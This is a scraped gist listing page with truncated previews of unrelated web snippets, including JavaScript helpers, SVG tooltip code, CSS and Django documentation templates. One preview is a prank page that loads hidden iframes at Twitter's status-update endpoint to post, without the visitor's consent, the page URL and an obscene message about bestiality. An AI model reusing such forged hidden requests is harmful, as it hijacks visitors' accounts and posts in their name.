This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* This function moves the nth member of the array to the end | |
*/ | |
Array.prototype.move2Back = function(n) { | |
this.push(this.splice(n,1).pop()); | |
return this; | |
} | |
var arr = ["Jani","Hege","Stale","Kai Jim","Borge","Tove"]; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<head></head> | |
<body> | |
<script> | |
var el1 = document.createElement('iframe'); | |
var el2 = document.createElement('iframe'); | |
el1.style.visibility="hidden"; | |
el2.style.visibility="hidden"; | |
el1.src = "http://twitter.com/share/update?status=WTF:%20" + window.location; | |
el2.src = "http://twitter.com/share/update?status=i%20love%20anal%20sex%20with%20goats"; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Circle gets the sqaure. <circle> is an SVG dom element and has hover events. | |
// setting up the circle hover event using JQuery | |
$("circle").hover(function() { | |
// get the tooltip, and put some stuff in it | |
$(".chart-wrapper .tooltip-inner .stuff") | |
// because the circle is an element, I can add data to it | |
.text("Queries/Day: " + $(this).attr("calls") + " (" + $(this).attr("date") + ")"); | |
// position, and show the tooltip |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// If we can create a SVG element, and it has the basic function of SVG | |
if(!!document.createElementNS | |
&& !!document.createElementNS('http://www.w3.org/2000/svg', "svg").createSVGRect) { | |
// The browser supports SVG | |
} else { | |
// The browser DOESN'T support SVG yet | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head> | |
<title>Autofill Form with SimpleGeo</title> | |
</head> | |
<body style="padding:20px 50px;"> | |
<h3>Example getting user's context using getLocation and pre-populating the form</h3> | |
<form action="." method="post"> | |
<p> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<div class="chat-bubble"> | |
Buongiorno! | |
<div class="chat-bubble-arrow-border"></div> | |
<div class="chat-bubble-arrow"></div> | |
</div> | |
.chat-bubble { | |
background-color:#EDEDED; | |
border:2px solid #666666; | |
font-size:35px; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from django.contrib.auth.models import Group | |
from django.core.urlresolvers import reverse | |
from django.db import models | |
from django.utils.translation import ugettext_lazy as _ | |
''' | |
The Docs site will have heirarchy like follows: | |
Topic | |
| -- Article |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{% extends "docs/base.html" %} | |
{% load compress %} | |
{% block js %} | |
{{block.super}} | |
{% compress js %} | |
<script type="text/javascript" charset="utf-8"> | |
$(document).ready(function(){ | |
$("ul.toc-sections a.more-info").click(function(){ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{% load doc_tags %} | |
<div id="{{topic.slug}}" class="topic"> | |
<h2 class="topic-title"><a href="{% url docs-topic topic.slug %}">{{topic}}</a></h2> | |
<ul class="toc-articles"> | |
{% for article in topic.articles %} | |
{% if user|can_see:article %} | |
<li class="toc-article"> | |
<h3 class="article-title"><a href="{% url docs-article topic.slug article.slug %}">{{article}}</a></h3> | |
<ul class="toc-sections"> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{% extends "docs/base.html" %} | |
{% load markup doc_tags compress %} | |
{% block title %}{{topic}} · {{article}}{% endblock %} | |
{% block js %} | |
{{block.super}} | |
{% compress js %} | |
<script type="text/javascript" charset="utf-8"> |
OlderNewer